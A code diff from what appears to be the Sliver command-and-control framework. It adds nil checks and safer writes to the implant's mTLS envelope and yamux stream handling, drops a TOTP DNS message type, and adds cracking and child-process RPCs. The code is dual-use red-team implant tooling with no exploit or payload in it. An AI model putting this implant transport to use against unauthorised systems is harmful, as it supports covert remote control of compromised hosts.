msg, _ := s.base32.Encode(data)
|
|
||||||
return string(msg), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
|
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
|
||||||
func (s *SliverDNSClient) fingerprintResolvers() {
|
func (s *SliverDNSClient) fingerprintResolvers() {
|
||||||
wg := &sync.WaitGroup{}
|
wg := &sync.WaitGroup{}
|
||||||
|
|||||||
@@ -230,28 +230,17 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOTPMsgRoundTrip(t *testing.T) {
|
func TestRandomDNSSessionID(t *testing.T) {
|
||||||
client := NewDNSClient(parent1, opts)
|
client := NewDNSClient(parent1, opts)
|
||||||
encoded, err := client.otpMsg()
|
sid, err := client.randomDNSSessionID()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("Unexpected otpMsg error: %s", err)
|
t.Fatalf("Unexpected randomDNSSessionID error: %s", err)
|
||||||
}
|
}
|
||||||
if !isBase32String(encoded) {
|
if sid == 0 {
|
||||||
t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
|
t.Fatal("expected non-zero dns session id")
|
||||||
}
|
}
|
||||||
raw, err := encoders.Base32{}.Decode([]byte(encoded))
|
if (sid & ^uint32(sessionIDBitMask)) != 0 {
|
||||||
if err != nil {
|
t.Fatalf("expected 24-bit session id, got: 0x%08x", sid)
|
||||||
t.Fatalf("Unexpected otpMsg decode error: %s", err)
|
|
||||||
}
|
|
||||||
msg := &dnspb.DNSMessage{}
|
|
||||||
if err := proto.Unmarshal(raw, msg); err != nil {
|
|
||||||
t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
|
|
||||||
}
|
|
||||||
if msg.Type != dnspb.DNSMessageType_TOTP {
|
|
||||||
t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
|
|
||||||
}
|
|
||||||
if msg.ID != 0 {
|
|
||||||
t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -22,6 +22,7 @@ import (
|
|||||||
"crypto/rand"
|
"crypto/rand"
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"errors"
|
"errors"
|
||||||
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -44,7 +45,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
|
|||||||
retries = 1
|
retries = 1
|
||||||
}
|
}
|
||||||
return &GenericResolver{
|
return &GenericResolver{
|
||||||
address: address + ":" + port,
|
address: net.JoinHostPort(address, port),
|
||||||
retries: retries,
|
retries: retries,
|
||||||
retryWait: retryWait,
|
retryWait: retryWait,
|
||||||
resolver: &dns.Client{
|
resolver: &dns.Client{
|
||||||
|
|||||||
@@ -21,7 +21,6 @@ package mtls
|
|||||||
// {{if .Config.IncludeMTLS}}
|
// {{if .Config.IncludeMTLS}}
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
|
||||||
"crypto/ed25519"
|
"crypto/ed25519"
|
||||||
"crypto/sha256"
|
"crypto/sha256"
|
||||||
"crypto/tls"
|
"crypto/tls"
|
||||||
@@ -30,6 +29,7 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"reflect"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -90,43 +90,77 @@ func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
|
|||||||
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
|
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func isNilInterface(v any) bool {
|
||||||
|
if v == nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
rv := reflect.ValueOf(v)
|
||||||
|
switch rv.Kind() {
|
||||||
|
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
|
||||||
|
return rv.IsNil()
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeAll(w io.Writer, p []byte) error {
|
||||||
|
for len(p) > 0 {
|
||||||
|
n, err := w.Write(p)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if n <= 0 {
|
||||||
|
return io.ErrShortWrite
|
||||||
|
}
|
||||||
|
p = p[n:]
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
|
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
|
||||||
// which is a fancy way of saying we write the length of the message then the message
|
// which is a fancy way of saying we write the length of the message then the message
|
||||||
// e.g. [uint32 length|message] so the receiver can delimit messages properly
|
// e.g. [uint32 length|message] so the receiver can delimit messages properly
|
||||||
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
|
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
|
||||||
|
if envelope == nil {
|
||||||
|
return errors.New("[mtls] nil envelope")
|
||||||
|
}
|
||||||
|
if isNilInterface(w) {
|
||||||
|
return errors.New("[mtls] nil writer")
|
||||||
|
}
|
||||||
|
|
||||||
data, err := proto.Marshal(envelope)
|
data, err := proto.Marshal(envelope)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// {{if .Config.Debug}}
|
// {{if .Config.Debug}}
|
||||||
log.Print("Envelope marshaling error: ", err)
|
log.Print("Envelope marshaling error: ", err)
|
||||||
// {{end}}
|
// {{end}}
|
||||||
return err
|
return fmt.Errorf("[mtls] marshal envelope: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
signingKey, keyID, err := mtlsEnvelopeSigningKey()
|
signingKey, keyID, err := mtlsEnvelopeSigningKey()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return fmt.Errorf("[mtls] envelope signing key: %w", err)
|
||||||
}
|
}
|
||||||
rawSigBuf := make([]byte, cryptography.RawSigSize)
|
rawSigBuf := make([]byte, cryptography.RawSigSize)
|
||||||
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
|
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
|
||||||
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
|
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
|
||||||
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
|
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
|
||||||
if _, werr := w.Write(rawSigBuf); werr != nil {
|
if werr := writeAll(w, rawSigBuf); werr != nil {
|
||||||
return werr
|
return fmt.Errorf("[mtls] write raw signature: %w", werr)
|
||||||
}
|
}
|
||||||
|
|
||||||
dataLengthBuf := new(bytes.Buffer)
|
var dataLengthBuf [4]byte
|
||||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
binary.LittleEndian.PutUint32(dataLengthBuf[:], uint32(len(data)))
|
||||||
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
|
if werr := writeAll(w, dataLengthBuf[:]); werr != nil {
|
||||||
// {{if .Config.Debug}}
|
// {{if .Config.Debug}}
|
||||||
log.Print("Error writing data length: ", werr)
|
log.Print("Error writing data length: ", werr)
|
||||||
// {{end}}
|
// {{end}}
|
||||||
return werr
|
return fmt.Errorf("[mtls] write data length: %w", werr)
|
||||||
}
|
}
|
||||||
if _, werr := w.Write(data); werr != nil {
|
if werr := writeAll(w, data); werr != nil {
|
||||||
// {{if .Config.Debug}}
|
// {{if .Config.Debug}}
|
||||||
log.Print("Error writing data: ", werr)
|
log.Print("Error writing data: ", werr)
|
||||||
// {{end}}
|
// {{end}}
|
||||||
return werr
|
return fmt.Errorf("[mtls] write data: %w", werr)
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package mtls
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"crypto/tls"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestWriteEnvelope_NilEnvelope(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
var buf bytes.Buffer
|
||||||
|
if err := WriteEnvelope(&buf, nil); err == nil {
|
||||||
|
t.Fatalf("expected error for nil envelope")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWriteEnvelope_NilWriter(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
t.Fatalf("WriteEnvelope panicked: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
if err := WriteEnvelope(nil, &pb.Envelope{}); err == nil {
|
||||||
|
t.Fatalf("expected error for nil writer")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWriteEnvelope_NilTLSConnWriter(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
t.Fatalf("WriteEnvelope panicked: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
var conn *tls.Conn
|
||||||
|
if err := WriteEnvelope(conn, &pb.Envelope{}); err == nil {
|
||||||
|
t.Fatalf("expected error for nil *tls.Conn writer")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
package transports
|
||||||
|
|
||||||
|
import "reflect"
|
||||||
|
|
||||||
|
// isNilInterface returns true if v is nil, or if v is an interface value holding a nil pointer.
|
||||||
|
func isNilInterface(v any) bool {
|
||||||
|
if v == nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
rv := reflect.ValueOf(v)
|
||||||
|
switch rv.Kind() {
|
||||||
|
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
|
||||||
|
return rv.IsNil()
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -25,7 +25,9 @@ import (
|
|||||||
// {{end}}
|
// {{end}}
|
||||||
|
|
||||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||||
|
"errors"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
|
||||||
// {{end}}
|
// {{end}}
|
||||||
|
|
||||||
// {{if .Config.Debug}}
|
// {{if .Config.Debug}}
|
||||||
@@ -45,8 +47,6 @@ import (
|
|||||||
// {{end}}
|
// {{end}}
|
||||||
|
|
||||||
// {{if .Config.IncludeWG}}
|
// {{if .Config.IncludeWG}}
|
||||||
"errors"
|
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||||
"golang.zx2c4.com/wireguard/device"
|
"golang.zx2c4.com/wireguard/device"
|
||||||
|
|
||||||
@@ -257,6 +257,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
if conn == nil {
|
||||||
|
errMsg := ""
|
||||||
|
// {{if .Config.Debug}}
|
||||||
|
errMsg = "mtls connection returned nil conn"
|
||||||
|
// {{end}}
|
||||||
|
return errors.New(errMsg)
|
||||||
|
}
|
||||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
return err
|
return err
|
||||||
@@ -266,6 +273,14 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
|||||||
conn.Close()
|
conn.Close()
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
if muxSession == nil {
|
||||||
|
conn.Close()
|
||||||
|
errMsg := ""
|
||||||
|
// {{if .Config.Debug}}
|
||||||
|
errMsg = "[mtls] failed to create yamux session (nil)"
|
||||||
|
// {{end}}
|
||||||
|
return errors.New(errMsg)
|
||||||
|
}
|
||||||
connection.IsOpen = true
|
connection.IsOpen = true
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
@@ -292,6 +307,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
|||||||
connection.Cleanup()
|
connection.Cleanup()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if isNilInterface(stream) {
|
||||||
|
connection.Cleanup()
|
||||||
|
return
|
||||||
|
}
|
||||||
defer stream.Close()
|
defer stream.Close()
|
||||||
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
|
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
|
||||||
connection.Cleanup()
|
connection.Cleanup()
|
||||||
@@ -315,6 +334,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
|||||||
connection.Cleanup()
|
connection.Cleanup()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if isNilInterface(stream) {
|
||||||
|
connection.Cleanup()
|
||||||
|
return
|
||||||
|
}
|
||||||
defer stream.Close()
|
defer stream.Close()
|
||||||
if err := mtls.WritePing(stream); err != nil {
|
if err := mtls.WritePing(stream); err != nil {
|
||||||
connection.Cleanup()
|
connection.Cleanup()
|
||||||
@@ -346,6 +369,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if isNilInterface(stream) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case streamSem <- struct{}{}:
|
case streamSem <- struct{}{}:
|
||||||
|
|||||||
@@ -1,83 +0,0 @@
|
|||||||
package yamuxtest
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"net"
|
|
||||||
"sync"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"github.com/hashicorp/yamux"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestYamuxConcurrentStreams(t *testing.T) {
|
|
||||||
serverConn, clientConn := net.Pipe()
|
|
||||||
serverSession, err := yamux.Server(serverConn, nil)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("server session: %v", err)
|
|
||||||
}
|
|
||||||
defer serverSession.Close()
|
|
||||||
|
|
||||||
clientSession, err := yamux.Client(clientConn, nil)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("client session: %v", err)
|
|
||||||
}
|
|
||||||
defer clientSession.Close()
|
|
||||||
|
|
||||||
const streams = 16
|
|
||||||
payloads := make([][]byte, streams)
|
|
||||||
for i := 0; i < streams; i++ {
|
|
||||||
payloads[i] = []byte(fmt.Sprintf("stream=%d payload=%s", i, bytes.Repeat([]byte{byte('a' + i)}, 4096)))
|
|
||||||
}
|
|
||||||
|
|
||||||
var openWg sync.WaitGroup
|
|
||||||
openWg.Add(streams)
|
|
||||||
for i := 0; i < streams; i++ {
|
|
||||||
i := i
|
|
||||||
go func() {
|
|
||||||
defer openWg.Done()
|
|
||||||
stream, err := clientSession.Open()
|
|
||||||
if err != nil {
|
|
||||||
t.Errorf("open stream %d: %v", i, err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
_, err = stream.Write(payloads[i])
|
|
||||||
_ = stream.Close()
|
|
||||||
if err != nil {
|
|
||||||
t.Errorf("write stream %d: %v", i, err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
}
|
|
||||||
|
|
||||||
openWg.Wait()
|
|
||||||
|
|
||||||
wantSet := map[string]struct{}{}
|
|
||||||
for _, p := range payloads {
|
|
||||||
wantSet[string(p)] = struct{}{}
|
|
||||||
}
|
|
||||||
|
|
||||||
gotSet := map[string]struct{}{}
|
|
||||||
for i := 0; i < streams; i++ {
|
|
||||||
stream, err := serverSession.Accept()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("accept stream %d: %v", i, err)
|
|
||||||
}
|
|
||||||
b, err := io.ReadAll(stream)
|
|
||||||
_ = stream.Close()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("read stream %d: %v", i, err)
|
|
||||||
}
|
|
||||||
gotSet[string(b)] = struct{}{}
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(gotSet) != len(wantSet) {
|
|
||||||
t.Fatalf("unexpected payload count: got=%d want=%d", len(gotSet), len(wantSet))
|
|
||||||
}
|
|
||||||
for want := range wantSet {
|
|
||||||
if _, ok := gotSet[want]; !ok {
|
|
||||||
t.Fatalf("missing payload: %q", want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+650
-460
File diff suppressed because it is too large.
Load diff
@@ -1272,6 +1272,21 @@ message CrackCommand {
|
|||||||
string BrainSessionWhitelist = 113;
|
string BrainSessionWhitelist = 113;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
message CrackJob {
|
||||||
|
string ID = 1;
|
||||||
|
string CreatedAt = 2;
|
||||||
|
string CompletedAt = 3;
|
||||||
|
CrackJobStatus Status = 4;
|
||||||
|
string Err = 5;
|
||||||
|
|
||||||
|
CrackCommand Command = 7;
|
||||||
|
string ResultFileID = 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
message CrackResponse {
|
||||||
|
CrackJob Job = 1;
|
||||||
|
}
|
||||||
|
|
||||||
message CrackConfig {
|
message CrackConfig {
|
||||||
bool AutoFire = 1;
|
bool AutoFire = 1;
|
||||||
int64 MaxFileSize = 2;
|
int64 MaxFileSize = 2;
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||||
// versions:
|
// versions:
|
||||||
// protoc-gen-go v1.26.0
|
// protoc-gen-go v1.26.0
|
||||||
// protoc v3.15.8
|
// protoc v6.33.4
|
||||||
// source: commonpb/common.proto
|
// source: commonpb/common.proto
|
||||||
|
|
||||||
package commonpb
|
package commonpb
|
||||||
|
|||||||
+13
-20
@@ -1,7 +1,7 @@
|
|||||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||||
// versions:
|
// versions:
|
||||||
// protoc-gen-go v1.26.0
|
// protoc-gen-go v1.26.0
|
||||||
// protoc v3.15.8
|
// protoc v6.33.4
|
||||||
// source: dnspb/dns.proto
|
// source: dnspb/dns.proto
|
||||||
|
|
||||||
package dnspb
|
package dnspb
|
||||||
@@ -24,7 +24,6 @@ type DNSMessageType int32
|
|||||||
|
|
||||||
const (
|
const (
|
||||||
DNSMessageType_NOP DNSMessageType = 0 // aka FINGERPRINT
|
DNSMessageType_NOP DNSMessageType = 0 // aka FINGERPRINT
|
||||||
DNSMessageType_TOTP DNSMessageType = 1
|
|
||||||
DNSMessageType_INIT DNSMessageType = 2
|
DNSMessageType_INIT DNSMessageType = 2
|
||||||
DNSMessageType_POLL DNSMessageType = 3
|
DNSMessageType_POLL DNSMessageType = 3
|
||||||
DNSMessageType_CLOSE DNSMessageType = 4
|
DNSMessageType_CLOSE DNSMessageType = 4
|
||||||
@@ -38,7 +37,6 @@ const (
|
|||||||
var (
|
var (
|
||||||
DNSMessageType_name = map[int32]string{
|
DNSMessageType_name = map[int32]string{
|
||||||
0: "NOP",
|
0: "NOP",
|
||||||
1: "TOTP",
|
|
||||||
2: "INIT",
|
2: "INIT",
|
||||||
3: "POLL",
|
3: "POLL",
|
||||||
4: "CLOSE",
|
4: "CLOSE",
|
||||||
@@ -49,7 +47,6 @@ var (
|
|||||||
}
|
}
|
||||||
DNSMessageType_value = map[string]int32{
|
DNSMessageType_value = map[string]int32{
|
||||||
"NOP": 0,
|
"NOP": 0,
|
||||||
"TOTP": 1,
|
|
||||||
"INIT": 2,
|
"INIT": 2,
|
||||||
"POLL": 3,
|
"POLL": 3,
|
||||||
"CLOSE": 4,
|
"CLOSE": 4,
|
||||||
@@ -89,10 +86,7 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
|||||||
|
|
||||||
//
|
//
|
||||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||||
//depending on the DNSMessageType as noted below:
|
//depending on the DNSMessageType.
|
||||||
//
|
|
||||||
//[Type TOTP]: ID field is used for the TOTP code
|
|
||||||
//
|
|
||||||
type DNSMessage struct {
|
type DNSMessage struct {
|
||||||
state protoimpl.MessageState
|
state protoimpl.MessageState
|
||||||
sizeCache protoimpl.SizeCache
|
sizeCache protoimpl.SizeCache
|
||||||
@@ -194,19 +188,18 @@ var file_dnspb_dns_proto_rawDesc = []byte{
|
|||||||
0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x12, 0x0a, 0x04,
|
0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x12, 0x0a, 0x04,
|
||||||
0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65,
|
0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65,
|
||||||
0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04,
|
0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04,
|
||||||
0x44, 0x61, 0x74, 0x61, 0x2a, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
|
0x44, 0x61, 0x74, 0x61, 0x2a, 0x83, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
|
||||||
0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f, 0x50, 0x10, 0x00,
|
0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f, 0x50, 0x10, 0x00,
|
||||||
0x12, 0x08, 0x0a, 0x04, 0x54, 0x4f, 0x54, 0x50, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e,
|
0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f,
|
||||||
0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09,
|
0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12,
|
||||||
0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12, 0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e,
|
0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e, 0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a,
|
||||||
0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a, 0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f,
|
0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54,
|
||||||
0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x07, 0x12, 0x15, 0x0a, 0x11,
|
0x10, 0x07, 0x12, 0x15, 0x0a, 0x11, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f,
|
||||||
0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e,
|
0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45,
|
||||||
0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c,
|
0x41, 0x52, 0x10, 0x09, 0x22, 0x04, 0x08, 0x01, 0x10, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69,
|
||||||
0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73,
|
0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
|
||||||
0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72,
|
0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
|
||||||
0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72,
|
0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||||
0x6f, 0x74, 0x6f, 0x33,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
|
|||||||
|
|
||||||
enum DNSMessageType {
|
enum DNSMessageType {
|
||||||
NOP = 0; // aka FINGERPRINT
|
NOP = 0; // aka FINGERPRINT
|
||||||
TOTP = 1;
|
reserved 1; // formerly TOTP
|
||||||
INIT = 2;
|
INIT = 2;
|
||||||
POLL = 3;
|
POLL = 3;
|
||||||
CLOSE = 4;
|
CLOSE = 4;
|
||||||
@@ -17,10 +17,7 @@ enum DNSMessageType {
|
|||||||
|
|
||||||
/*
|
/*
|
||||||
NOTE: DNS is very space sensitive so certain fields are re-purposed
|
NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||||
depending on the DNSMessageType as noted below:
|
depending on the DNSMessageType.
|
||||||
|
|
||||||
[Type TOTP]: ID field is used for the TOTP code
|
|
||||||
|
|
||||||
*/
|
*/
|
||||||
message DNSMessage {
|
message DNSMessage {
|
||||||
DNSMessageType Type = 1;
|
DNSMessageType Type = 1;
|
||||||
@@ -29,4 +26,4 @@ message DNSMessage {
|
|||||||
uint32 Stop = 4; // Bytes stop at
|
uint32 Stop = 4; // Bytes stop at
|
||||||
uint32 Size = 5; // Total size
|
uint32 Size = 5; // Total size
|
||||||
bytes Data = 6; // Actual data
|
bytes Data = 6; // Actual data
|
||||||
}
|
}
|
||||||
+1005
-989
File diff suppressed because it is too large.
Load diff
@@ -112,6 +112,7 @@ service SliverRPC {
|
|||||||
returns (clientpb.CertificateAuthorityInfo);
|
returns (clientpb.CertificateAuthorityInfo);
|
||||||
|
|
||||||
// *** Crackstation ***
|
// *** Crackstation ***
|
||||||
|
rpc Crack(clientpb.CrackCommand) returns (clientpb.CrackResponse);
|
||||||
rpc CrackstationRegister(clientpb.Crackstation)
|
rpc CrackstationRegister(clientpb.Crackstation)
|
||||||
returns (stream clientpb.Event);
|
returns (stream clientpb.Event);
|
||||||
rpc CrackstationTrigger(clientpb.Event) returns (commonpb.Empty);
|
rpc CrackstationTrigger(clientpb.Event) returns (commonpb.Empty);
|
||||||
@@ -195,6 +196,7 @@ service SliverRPC {
|
|||||||
rpc Migrate(clientpb.MigrateReq) returns (sliverpb.Migrate);
|
rpc Migrate(clientpb.MigrateReq) returns (sliverpb.Migrate);
|
||||||
rpc Execute(sliverpb.ExecuteReq) returns (sliverpb.Execute);
|
rpc Execute(sliverpb.ExecuteReq) returns (sliverpb.Execute);
|
||||||
rpc ExecuteWindows(sliverpb.ExecuteWindowsReq) returns (sliverpb.Execute);
|
rpc ExecuteWindows(sliverpb.ExecuteWindowsReq) returns (sliverpb.Execute);
|
||||||
|
rpc ExecuteChildren(sliverpb.ExecuteChildrenReq) returns (sliverpb.ExecuteChildren);
|
||||||
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
|
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
|
||||||
rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
|
